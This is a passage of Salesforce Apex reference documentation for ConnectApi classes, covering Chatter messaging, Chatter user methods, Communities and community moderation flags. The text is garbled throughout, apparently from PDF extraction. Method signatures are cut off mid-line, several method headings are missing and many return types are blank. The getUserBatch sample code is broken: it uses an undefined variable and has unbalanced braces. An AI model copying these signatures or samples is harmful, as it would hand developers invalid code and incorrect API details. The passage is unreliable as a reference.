public static ConnectApi.ChatterMessagePage searchMessages(String q)
Parameters
q
Type: String
Return Value
searchMessages(pageParam, pageSize, q)
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage searchMessages(String pageParam, Integer
pageSize, String q)
Parameters
pageParam
Type: String
1279
pageSize
Type: Integer
q
Type: String
Return Value
searchMessages(communityId, q)
Returns a page of messages the context user has access to that matches any of the specified criteria across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage searchMessages(String communityId, String
q)
Parameters
communityId
Type:String
q
Type: String
Return Value
searchMessages(communityId, pageParam, pageSize, q)

Returns a specific page of messages with the specified number of results the context user has access to that matches any of the specified
criteria across their available communities.
1280
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessagePage searchMessages(String communityId, String
pageParam, Integer pageSize, String q)
Parameters
communityId
Type:String
pageParam
Type: String
pageSize
Type: Integer
q
Type: String
Return Value
sendMessage(text, recipients)
Sends the specified text to the indicated recipients.
API Version
29.0
Requires Chatter
Yes
1281
Signature
public static ConnectApi.ChatterMessage sendMessage(String text, String recipients)
Parameters
text
Type: String
recipients
Type: String
Up to nine comma-separated IDs of the users receiving the message.
Return Value
sendMessage(communityId, text, recipients)

Sends the specified text to the indicated recipients across their available communities.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterMessage sendMessage(String communityId, String text,
String recipients)
Parameters
communityId
Type:String
text
Type: String
recipients
Type: String
Up to nine comma-separated IDs of users to receive the message.
1282
Return Value
ChatterUsers Class
Access information about users, such as followers, subscriptions, files, and groups.
Namespace
ConnectApi
ChatterUsers Methods
The following are methods for ChatterUsers. All methods are static.
IN THIS SECTION:
deletePhoto(communityId, userId)
Deletes the specified user’s photo.
Adds the specified userId as a follower to the specified subjectId.
getChatterSettings(communityId, userId)
Returns information about the default Chatter settings for the specified user.
getFollowers(communityId, userId)
Returns the first page of followers for the specified user ID. The page contains the default number of items.
getFollowers(communityId, userId, pageParam, pageSize)
Returns the specified page of followers for the specified user ID.
getFollowings(communityId, userId)
Returns the first page of information about the followers of the specified user. The page contains the default number of items. This
is different than getFollowers, which returns the users that follow the specified user.
getFollowings(communityId, userId, pageParam)
Returns the specified page of information about the followers of the specified user. The page contains the default number of items.
This is different than getFollowers, which returns the users that follow the specified user.
getFollowings(communityId, userId, pageParam, pageSize)
Returns the specific page of information about the followers of the specified user. This is different than getFollowers, which
returns the users that follow the specified user.
getFollowings(communityId, userId, filterType)
Returns the first page of information about the specified types of followers of the specified user. The page contains the default
number of items. This is different than getFollowers, which returns the users that follow the specified user.
getFollowings(communityId, userId, filterType, pageParam)
Returns the specified page of information about the specified types of followers of the specified user. The page contains the default
1283
getFollowings(communityId, userId, filterType, pageParam, pageSize)

Returns the specified page of information about the specified types of followers of the specified user. This is different than
getFollowers, which returns the users that follow the specified user.
getGroups(communityId, userId)
Returns the first page of groups the specified user is a member of.
getGroups(communityId, userId, pageParam, pageSize)
Returns the specified page of groups the specified user is a member of.
getPhoto(communityId, userId)
Returns information about the specified user’s photo.
getReputation(communityId, userId)
Returns the reputation of the specified user.
getUser(communityId, userId)
Returns information about the specified user.
getUserBatch(communityId, userIds)
Gets information about the specified list of users. Returns a list of BatchResult objects containing ConnectApi.User
objects. Returns errors embedded in the results for those users that couldn’t be loaded.
getUsers(communityId)
Returns the first page of users. The page contains the default number of items.
getUsers(communityId, pageParam, pageSize)
Returns the specified page of users.
searchUserGroups(communityId, userId, q)
Returns the first page of groups that match the specified search criteria.
searchUserGroups(communityId, userId, q, pageParam, pageSize)
Returns the specified page of users that matches the specified search criteria.
searchUsers(communityId, q)
Returns the first page of users that match the specified search criteria. The page contains the default number of items.
searchUsers(communityId, q, pageParam, pageSize)
Returns the specified page of users that match the specified search criteria.
searchUsers(communityId, q, searchContextId, pageParam, pageSize)
setPhoto(communityId, userId, fileId, versionNumber)
Sets the user photo to be the specified, already uploaded file.
setPhoto(communityId, userId, fileUpload)
Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.
setPhotoWithAttributes(communityId, userId, photo)
Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.
setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.
updateChatterSettings(communityId, userId, defaultGroupEmailFrequency)
Updates the default Chatter settings for the specified user.
1284
updateUser(communityId, userId, userInput)

Updates the “About Me” section for a user.
API Version
28.0–34.0
Important: In version 35.0 and later, use ConnectApi.UserProfiles.deletePhoto(communityId, userId)
Signature
public static Void deletePhoto(String communityId, String userId)
Parameters
communityId
Type: String
userId
Type: String
The ID for the context user or the keyword me.
Return Value
Type: Void

Adds the specified userId as a follower to the specified subjectId.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Subscription follow(String communityId, String userId, String
subjectId)
1285
Parameters
communityId
Type: String
userId
Type: String
subjectId
Type: String
The ID for the subject to follow.
Return Value
Type: ConnectApi.Subscription
Example
ChatterUsers.ConnectApi.Subscription subscriptionToRecord =
ConnectApi.ChatterUsers.follow(null, 'me', '001RR000002G4Y0');
SEE ALSO:
Unfollow a Record
getChatterSettings(communityId, userId)
Returns information about the default Chatter settings for the specified user.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserChatterSettings getChatterSettings(String communityId,
String userId)
Parameters
communityId
Type: String
userId
Type: String
1286
Return Value
Type: ConnectApi.UserChatterSettings
getFollowers(communityId, userId)
Returns the first page of followers for the specified user ID. The page contains the default number of items.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String userId)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
Return Value
getFollowers(communityId, userId, pageParam, pageSize)

Returns the specified page of followers for the specified user ID.
API Version
28.0

32.0
1287
Requires Chatter
Yes
Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String userId,
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
getFollowings(communityId, userId)
Returns the first page of information about the followers of the specified user. The page contains the default number of items. This is
different than getFollowers, which returns the users that follow the specified user.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId)
1288
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.FollowingPage
getFollowings(communityId, userId, pageParam)

Returns the specified page of information about the followers of the specified user. The page contains the default number of items. This
is different than getFollowers, which returns the users that follow the specified user.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
Integer pageParam)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
pageParam
Type: Integer
1289
Return Value
getFollowings(communityId, userId, pageParam, pageSize)

Returns the specific page of information about the followers of the specified user. This is different than getFollowers, which returns
the users that follow the specified user.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
getFollowings(communityId, userId, filterType)

Returns the first page of information about the specified types of followers of the specified user. The page contains the default number
of items. This is different than getFollowers, which returns the users that follow the specified user.
1290
API Version
28.0

32.0
Requires Chatter
Yes
Signature
String filterType)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
filterType
Type: String
Specifies the key prefix to filter the type of objects returned. A key prefix is the first three characters of the object ID, which specifies
the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
Return Value
getFollowings(communityId, userId, filterType, pageParam)

Returns the specified page of information about the specified types of followers of the specified user. The page contains the default
API Version
28.0

32.0
Requires Chatter
Yes
1291
Signature
String filterType, Integer pageParam)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
filterType
Type: String
pageParam
Type: Integer
Return Value
getFollowings(communityId, userId, filterType, pageParam, pageSize)

Returns the specified page of information about the specified types of followers of the specified user. This is different than
getFollowers, which returns the users that follow the specified user.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
String filterType, Integer pageParam, Integer pageSize)
1292
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
filterType
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
getGroups(communityId, userId)
Returns the first page of groups the specified user is a member of.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserGroupPage getGroups(String communityId, String userId)
Parameters
communityId
Type: String
1293

userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.UserGroupPage
getGroups(communityId, userId, pageParam, pageSize)

Returns the specified page of groups the specified user is a member of.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserGroupPage getGroups(String communityId, String userId,
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
pageParam
Type: Integer
pageSize
Type: Integer
1294
Return Value
API Version
28.0–34.0
Important: In version 35.0 and later, use ConnectApi.UserProfiles.getPhoto(communityId, userId).

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo getPhoto(String communityId, String userId)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
Return Value
getReputation(communityId, userId)
Returns the reputation of the specified user.
API Version
32.0

32.0
1295
Requires Chatter
Yes
Signature
public static ConnectApi.Reputation getReputation(String communityId, String userId)
Parameters
communityId
Type: String
userId
Type: String
ID of the user.
Return Value
Type: ConnectApi.Reputation
getUser(communityId, userId)
Returns information about the specified user.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserSummary getUser(String communityId, String userId)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
1296
Return Value
Type: ConnectApi.UserDetail
Usage
If the user is external, the properties that the ConnectApi.UserDetail output class shares with the
ConnectApi.UserSummary output class can have non-null values. Other properties are always null.
getUserBatch(communityId, userIds)
Gets information about the specified list of users. Returns a list of BatchResult objects containing ConnectApi.User objects.
Returns errors embedded in the results for those users that couldn’t be loaded.
API Version
31.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] getUserBatch(String communityId, List<String>
userIds)
Parameters
communityId
Type: String
userIds
Type: List<String>
A list of up to 500 user IDs.
Return Value
Type: BatchResult[]
The BatchResult getResults() method returns a ConnectApi.User object.
Example
// Get users in an organization.
ConnectApi.UserPage userPage = ConnectApi.ChatterUsers.getUsers(null);
1297
// Create a list of user IDs.

List<String> userList = new List<String>();
for (ConnectApi.User user : userPage.users){
userList.add(user.id);
}
// Get info about all users in the list.

ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterUsers.getUserBatch(null, userList);

// Print each user's username.
ConnectApi.UserDetail user;
if(batchResult.getResult() instanceof ConnectApi.UserDetail) {
user = (ConnectApi.UserDetail) batchResult.getResult();
}
System.debug(user.username);
}
else {
}
}
getUsers(communityId)
Returns the first page of users. The page contains the default number of items.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserPage getUsers(String communityId)
Parameters
communityId
Type: String
1298
Return Value
Type: ConnectApi.UserPage
getUsers(communityId, pageParam, pageSize)

Returns the specified page of users.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserPage getUsers(String communityId, Integer pageParam,
Integer pageSize)
Parameters
communityId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
searchUserGroups(communityId, userId, q)
Returns the first page of groups that match the specified search criteria.
API Version
30.0
1299

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserGroupPage searchUserGroups(String communityId, String
userId, String q)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
q
Type: String
Return Value
A paginated list of groups the context user is a member of.
searchUserGroups(communityId, userId, q, pageParam, pageSize)

Returns the specified page of users that matches the specified search criteria.
API Version
30.0

32.0
Requires Chatter
Yes
1300
Signature
public static ConnectApi.UserGroupPage searchUserGroups(String communityId, String
userId, String q, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
q
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Returns the first page of users that match the specified search criteria. The page contains the default number of items.
API Version
28.0

32.0
Requires Chatter
Yes
1301
Signature
public static ConnectApi.UserPage searchUsers(String communityId, String q)
Parameters
communityId
Type: String
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchUsers(communityId, q, result)

API Version
28.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserPage searchUsers(String communityId, String q, Integer
1302
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Usage
SEE ALSO:
setTestSearchUsers(communityId, q, pageParam, pageSize, result)

API Version
28.0

32.0
Requires Chatter
Yes
1303
Signature
public static ConnectApi.UserPage searchUsers(String communityId, String q, String
searchContextId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
q
Type: String
searchContextId
Type: String
A feed item ID that filters search results for feed @mentions. More useful results are listed first. When you specify this argument, you
cannot query more than 500 results and you cannot use wildcards in the search term.
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Usage
SEE ALSO:
setTestSearchUsers(communityId, q, searchContextId, pageParam, pageSize, result)

API Version
28.0–34.0
1304
Important: In version 35.0 and later, use ConnectApi.UserProfiles.setPhoto(communityId, userId,

fileId, versionNumber)
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId, String
Parameters
communityId
Type: String
userId
Type: String
fileId
Type: String
ID of a file already uploaded. The file must be an image, and be smaller than 2 GB.
versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number, or null to get the latest version.
Return Value
Usage

API Version
28.0–34.0
Important: In version 35.0 and later, use ConnectApi.UserProfiles.setPhoto(communityId, userId,

fileUpload)
1305
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId,
Parameters
communityId
Type: String
userId
Type: String
fileUpload
Return Value
Usage

API Version
29.0–34.0
Important: In version 35.0 and later, use

ConnectApi.UserProfiles.setPhotoWithAttributes(communityId, userId, photo)
Requires Chatter
Yes
Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId,
1306
Parameters
communityId
Type: String
userId
Type: String
photo
A ConnectApi.PhotoInput object specifying the file ID, version number, and cropping parameters.
Return Value
Usage

API Version
29.0–34.0
Important: In version 35.0 and later, use

ConnectApi.UserProfiles.setPhotoWithAttributes(communityId, userId, photo,
fileUpload)
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
userId
Type: String
1307
photo
A ConnectApi.PhotoInput object specifying the cropping parameters.
fileUpload
Return Value
Usage
updateChatterSettings(communityId, userId, defaultGroupEmailFrequency)

Updates the default Chatter settings for the specified user.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserChatterSettings updateChatterSettings(String communityId,
String userId, ConnectApi.GroupEmailFrequency defaultGroupEmailFrequency)
Parameters
communityId
Type: String
userId
Type: String
defaultGroupEmailFrequency
Type: ConnectApi.GroupEmailFrequency
defaultGroupEmailFrequency—Specifies the frequency with which a user receives email. Values:
• EachPost
• DailyDigest
• WeeklyDigest
1308
• Never
• UseDefault
Don’t pass the value UseDefault for the defaultGroupEmailFrequency parameter because calling
updateChatterSettings sets the default value.
Return Value
Type: ConnectApi.UserChatterSettings

Updates the “About Me” section for a user.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserDetail updateUser(String communityId, String userId,
ConnectApi.UserInput userInput)
Parameters
communityId
Type: String
userId
Type: String
userInput
Type: ConnectApi.UserInput
Specifies the updated information.
Return Value
Type: ConnectApi.UserDetail
ChatterUsers Test Methods

The following are the test methods for ChatterUsers. All methods are static.
1309
setTestSearchUsers(communityId, q, result)
Registers a ConnectApi.UserPage object to be returned when the matching ConnectApi.searchUsers method is called
API Version
28.0
Signature
public static Void setTestSearchUsers(String communityId, String q, ConnectApi.UserPage
result)
Parameters
communityId
Type: String
q
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestSearchUsers(communityId, q, pageParam, pageSize, result)

API Version
28.0
Signature
public static Void setTestSearchUsers(String communityId, String q, Integer pageParam,
Integer pageSize, ConnectApi.UserPage result)
1310
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
setTestSearchUsers(communityId, q, searchContextId, pageParam, pageSize, result)

API Version
28.0
Signature
public static Void setTestSearchUsers(String communityId, String q, String
searchContextId, Integer pageParam, Integer pageSize, ConnectApi.UserPage result)
Parameters
communityId
Type: String
1311
q
Type: String
searchContextId
Type: String
A feed item ID that filters search results for feed @mentions. More useful results are listed first. When you specify this argument, you
cannot query more than 500 results and you cannot use wildcards in the search term.
pageParam
Type: Integer
pageSize
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
Communities Class
Access general information about communities in your organization.
Namespace
ConnectApi
Communities Methods
The following are methods for Communities. All methods are static.
IN THIS SECTION:
getCommunities()
Returns a list of communities the context user has access to.
getCommunities(communityStatus)
Returns a list of communities the context user has access to with the specified status.
1312
getCommunity(communityId)
Returns information about the specific community.
getCommunities()
Returns a list of communities the context user has access to.
API Version
28.0
Requires Chatter
No
Signature
public static ConnectApi.CommunityPage getCommunities()
Return Value
Type: ConnectApi.CommunityPage
getCommunities(communityStatus)
Returns a list of communities the context user has access to with the specified status.
API Version
28.0
Requires Chatter
No
Signature
public static ConnectApi.CommunityPage getCommunities(ConnectApi.CommunityStatus
communityStatus)
Parameters
communityStatus
Type: ConnectApi.CommunityStatus
communityStatus—Specifies the status of the community. Values are:
• Live
• Inactive
• UnderConstruction
1313
Return Value
Type: ConnectApi.CommunityPage
getCommunity(communityId)
Returns information about the specific community.
API Version
28.0

35.0
Requires Chatter
No
Signature
public static ConnectApi.Community getCommunity(String communityId)
Parameters
communityId
Type: String
Specify an ID for communityId. You cannot specify null or 'internal'.
Return Value
Type: ConnectApi.Community
CommunityModeration Class
Access information about flagged feed items and comments in a community. Add and remove flags from comments and feed items.
To view a feed containing all flagged feed items, pass ConnectApi.FeedType.Moderation to the
ConnectApi.ChatterFeeds.getFeedElementsFromFeed method.
Namespace
ConnectApi
CommunityModeration Methods
The following are methods for CommunityModeration. All methods are static.
1314
IN THIS SECTION:
addFlagToComment(communityId, commentId)
Add a moderation flag to a comment.
addFlagToComment(communityId, commentId, visibility)
Add a moderation flag of the specified visibility to a comment.
addFlagToComment(communityId, commentId, type)
Add a moderation flag of the specified type to a comment.
addFlagToComment(communityId, commentId, note)
Add a moderation flag with a note to a comment.
addFlagToComment(communityId, commentId, type, note)
Add a moderation flag of the specified type with a note to a comment.
addFlagToComment(communityId, commentId, type, visibility)
Add a moderation flag of the specified type and visibility to a comment.
addFlagToComment(communityId, commentId, visibility, note)
Add a moderation flag of the specified visibility with a note to a comment.
addFlagToComment(communityId, commentId, type, visibility, note)
Add a moderation flag of the specified type and visibility with a note to a comment.
addFlagToFeedElement(communityId, feedElementId)
Add a moderation flag to a feed element.
addFlagToFeedElement(communityId, feedElementId, visibility)
Add a moderation flag of the specified visibility to a feed element.
addFlagToFeedElement(communityId, feedElementId, type)
Add a moderation flag of the specified type to a feed element.
addFlagToFeedElement(communityId, feedElementId, note)
Add a moderation flag with a note to a feed element.
addFlagToFeedElement(communityId, feedElementId, type, note)
Add a moderation flag of the specified type with a note to a feed element.
addFlagToFeedElement(communityId, feedElementId, type, visibility)
Add a moderation flag of the specified type and visibility to a feed element.
addFlagToFeedElement(communityId, feedElementId, visibility, note)
Add a moderation flag of the specified visibility with a note to a feed element.
addFlagToFeedElement(communityId, feedElementId, type, visibility, note)
Add a moderation flag of the specified type and visibility with a note to a feed element.
addFlagToFeedItem(communityId, feedItemId)
Add a moderation flag to a feed item. To add a flag to a feed item, Allow members to flag content must be selected
for a community.
addFlagToFeedItem(communityId, feedItemId, visibility)
Add a moderation flag with specified visibility to a feed item. To add a flag to a feed item, Allow members to flag
content must be selected for a community.
getFlagsOnComment(communityId, commentId)
Get the moderation flags on a comment. To get the flags, the context user must have the Moderate Communities Feeds permission.
1315
getFlagsOnComment(communityId, commentId, visibility)

Get the moderation flags with specified visibility on a comment. To get the flags, the context user must have the Moderate Communities
Feeds permission.
getFlagsOnComment(communityId, commentId, pageSize, pageParam)
Get a page of moderation flags on a comment. To get the flags, the context user must have the Moderate Communities Feeds
permission.
getFlagsOnComment(communityId, commentId, visibility, pageSize, pageParam)
Get a page of moderation flags with specified visibility on a comment. To get the flags, the context user must have the Moderate
Communities Feeds permission.
getFlagsOnFeedElement(communityId, feedElementId)
Get the moderation flags on a feed element. To get the flags, the context user must have the Moderate Communities Feeds permission.
getFlagsOnFeedElement(communityId, feedElementId, visibility)
Get the moderation flags with specified visibility on a feed element. To get the flags, the context user must have the Moderate
getFlagsOnFeedElement(communityId, feedElementId, pageParam, pageSize)
Get a page of moderation flags on a feed element. To get the flags, the context user must have the Moderate Communities Feeds
permission.
getFlagsOnFeedElement(communityId, feedElementId, visibility, pageSize, pageParam)
Get a page of moderation flags with specified visibility on a feed element. To get the flags, the context user must have the Moderate
getFlagsOnFeedItem(communityId, feedItemId)
Get the moderation flags on a feed item. To get the flags, the context user must have the Moderate Communities Feeds permission.
getFlagsOnFeedItem(communityId, feedItemId, visibility)
Get the moderation flags with specified visibility on a feed item. To get the flags, the context user must have the Moderate Communities
Feeds permission.
removeFlagFromComment(communityId, commentId, userId)
Remove a moderation flag from a comment. To remove a flag from a comment the context user must have added the flag or must
have the Moderate Communities Feeds permission.
removeFlagFromFeedElement(communityId, feedElementId, userId)
Remove a moderation flag from a feed element. To remove a flag from a feed element, the context user must have added the flag
or must have the Moderate Communities Feeds permission.
removeFlagsOnFeedItem(communityId, feedItemId, userId)
Remove a moderation flag from a feed item. To remove a flag from a feed item, the context user must have added the flag or must
have the Moderate Communities Feeds permission.
addFlagToComment(communityId, commentId)
Add a moderation flag to a comment.
API Version
29.0
1316
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String
commentId)
Parameters
communityId
Type: String
commentId
Type: String
Return Value
Type: ConnectApi.ModerationFlags
Usage
To add a flag to a comment, Allow members to flag content must be selected for a community.
addFlagToComment(communityId, commentId, visibility)

Add a moderation flag of the specified visibility to a comment.
API Version
30.0
Requires Chatter
Yes
Signature
commentId, ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
commentId
Type: String
1317

visibility
Type: ConnectApi.CommunityFlagVisibility
Specifies the visibility behavior of a flag for various user types.
• ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
• SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged
element or item.
Return Value
Usage
addFlagToComment(communityId, commentId, type)

Add a moderation flag of the specified type to a comment.
API Version
38.0
Requires Chatter
Yes
Signature
commentId, ConnectApi.CommunityFlagType type)
Parameters
communityId
Type: String
commentId
Type: String
type
Type: ConnectApi.CommunityFlagType
Specifies the type of moderation flag.
• FlagAsInappropriate—Flag for inappropriate content.
• FlagAsSpam—Flag for spam.
1318
If a type isn’t specified, it defaults to FlagAsInappropriate.
Return Value
Usage
addFlagToComment(communityId, commentId, note)

Add a moderation flag with a note to a comment.
API Version
38.0
Requires Chatter
Yes
Signature
commentId, String note)
Parameters
communityId
Type: String
commentId
Type: String
note
Type: String
A note of up to 4,000 characters about the flag.
Return Value
Usage
1319
addFlagToComment(communityId, commentId, type, note)

Add a moderation flag of the specified type with a note to a comment.
API Version
38.0
Requires Chatter
Yes
Signature
commentId, ConnectApi.CommunityFlagType type, String note)
Parameters
communityId
Type: String
commentId
Type: String
type
note
Type: String
Return Value
Usage
addFlagToComment(communityId, commentId, type, visibility)

Add a moderation flag of the specified type and visibility to a comment.
1320
API Version
38.0
Requires Chatter
Yes
Signature
commentId, ConnectApi.CommunityFlagType type, ConnectApi.CommunityFlagVisibility
visibility)
Parameters
communityId
Type: String
commentId
Type: String
type
visibility
element or item.
Return Value
Usage
addFlagToComment(communityId, commentId, visibility, note)

Add a moderation flag of the specified visibility with a note to a comment.
1321
API Version
38.0
Requires Chatter
Yes
Signature
commentId, ConnectApi.CommunityFlagVisibility visibility, String note)
Parameters
communityId
Type: String
commentId
Type: String
visibility
element or item.
note
Type: String
Return Value
Usage
addFlagToComment(communityId, commentId, type, visibility, note)

Add a moderation flag of the specified type and visibility with a note to a comment.
API Version
38.0
1322
Requires Chatter
Yes
Signature
commentId, ConnectApi.CommunityFlagType type, ConnectApi.CommunityFlagVisibility
visibility, String note)
Parameters
communityId
Type: String
commentId
Type: String
type
visibility
element or item.
note
Type: String
Return Value
Usage
addFlagToFeedElement(communityId, feedElementId)
Add a moderation flag to a feed element.
1323
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
Parameters
communityId
Type: String
feedElementId
Type: String
Return Value
Type: ConnectApi.ModerationCapability
Usage
To add a flag to a feed element, Allow members to flag content must be selected for a community.
addFlagToFeedElement(communityId, feedElementId, visibility)

Add a moderation flag of the specified visibility to a feed element.
API Version
31.0
Requires Chatter
Yes
Signature
String feedElementId, ConnectApi.CommunityFlagVisibility visibility)
1324
Parameters
communityId
Type: String
feedElementId
Type: String
visibility
Specifies the visibility behavior of a flag for various user types. One of these values:
element or item.
Return Value
Usage
addFlagToFeedElement(communityId, feedElementId, type)

Add a moderation flag of the specified type to a feed element.
API Version
38.0
Requires Chatter
Yes
Signature
String feedElementId, ConnectApi.CommunityFlagType type)
Parameters
communityId
Type: String
feedElementId
Type: String
1325

type
Return Value
Usage
addFlagToFeedElement(communityId, feedElementId, note)

Add a moderation flag with a note to a feed element.
API Version
38.0
Requires Chatter
Yes
Signature
String feedElementId, String note)
Parameters
communityId
Type: String
feedElementId
Type: String
note
Type: String
1326
Return Value
Usage
addFlagToFeedElement(communityId, feedElementId, type, note)

Add a moderation flag of the specified type with a note to a feed element.
API Version
38.0
Requires Chatter
Yes
Signature
String feedElementId, ConnectApi.CommunityFlagType type, String note)
Parameters
communityId
Type: String
feedElementId
Type: String
type
note
Type: String
Return Value
1327
Usage
addFlagToFeedElement(communityId, feedElementId, type, visibility)

Add a moderation flag of the specified type and visibility to a feed element.
API Version
38.0
Requires Chatter
Yes
Signature
String feedElementId, ConnectApi.CommunityFlagType type,
ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
feedElementId
Type: String
type
visibility
element or item.
Return Value
1328
Usage
addFlagToFeedElement(communityId, feedElementId, visibility, note)

Add a moderation flag of the specified visibility with a note to a feed element.
API Version
38.0
Requires Chatter
Yes
Signature
String feedElementId, ConnectApi.CommunityFlagVisibility visibility, String note)
Parameters
communityId
Type: String
feedElementId
Type: String
visibility
element or item.
note
Type: String
Return Value
Usage
1329
addFlagToFeedElement(communityId, feedElementId, type, visibility, note)

Add a moderation flag of the specified type and visibility with a note to a feed element.
API Version
38.0
Requires Chatter
Yes
Signature
String feedElementId, ConnectApi.CommunityFlagType type,
ConnectApi.CommunityFlagVisibility visibility, String note)
Parameters
communityId
Type: String
feedElementId
Type: String
type
visibility
element or item.
note
Type: String
Return Value
1330
Usage
addFlagToFeedItem(communityId, feedItemId)
Add a moderation flag to a feed item. To add a flag to a feed item, Allow members to flag content must be selected for
a community.
API Version
29.0–31.0
Important: In version 32.0 and later, use addFlagToFeedElement(communityId, feedElementId).
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToFeedItem(String communityId, String
feedItemId)
Parameters
communityId
Type: String
feedItemId
Type: String
Return Value
addFlagToFeedItem(communityId, feedItemId, visibility)

Add a moderation flag with specified visibility to a feed item. To add a flag to a feed item, Allow members to flag content
must be selected for a community.
API Version
30.0–31.0
Important: In version 32.0 and later, use addFlagToFeedElement(communityId, feedElementId, visibility).
1331
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags addFlagToFeedItem(String communityId, String
feedItemId, ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
feedItemId
Type: String
visibility
element or item.
Return Value
getFlagsOnComment(communityId, commentId)
Get the moderation flags on a comment. To get the flags, the context user must have the Moderate Communities Feeds permission.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.ModerationFlags getFlagsOnComment(String communityId, String
commentId)
Parameters
communityId
Type: String
1332

commentId
Type: String
Return Value
getFlagsOnComment(communityId, commentId, visibility)

Get the moderation flags with specified visibility on a comment. To get the flags, the context user must have the Moderate Communities
Feeds permission.
API Version
30.0
Requires Chatter
Yes
Signature
commentId, ConnectApi.CommunityFlagVisibility visibility)
Parameters
communityId
Type: String
commentId
Type: String
visibility
element or item.
Return Value
1333
getFlagsOnComment(communityId, commentId, pageSize, pageParam)

Get a page of moderation flags on a comment. To get the flags, the context user must have the Moderate Communities Feeds permission.
API Version
40.0
Requires Chatter
Yes
Signature
commentId, Integer pageSize, String pageParam)
Parameters
communityId
Type: String
commentId
Type: String
pageSize
Type: Integer
pageParam
Type: String
Return Value
getFlagsOnComment(communityId, commentId, visibility, pageSize, pageParam)

Get a page of moderation flags with specified visibility on a comment. To get the flags, the context user must have the Moderate
API Version
40.0
Requires Chatter
Yes
1334
Signature
commentId, ConnectApi.CommunityFlagVisibility visibility, Integer pageSize, String
pageParam)
Parameters
communityId
Type: String
commentId
Type: String
visibility
element or item.
pageSize
Type: Integer
pageParam
Type: String
Return Value
getFlagsOnFeedElement(communityId, feedElementId)
Get the moderation flags on a feed element. To get the flags, the context user must have the Moderate Communities Feeds permission.
API Version
31.0
Requires Chatter
Yes
1335
Signature
public static ConnectApi.ModerationCapability getFlagsOnFeedElement(String communityId,
Parameters
communityId
Type: String
feedElementId
Type: String
Return Value
Type: ConnectApi.ModerationCapability Class
getFlagsOnFeedElement(communityId, feedElementId, visibility)

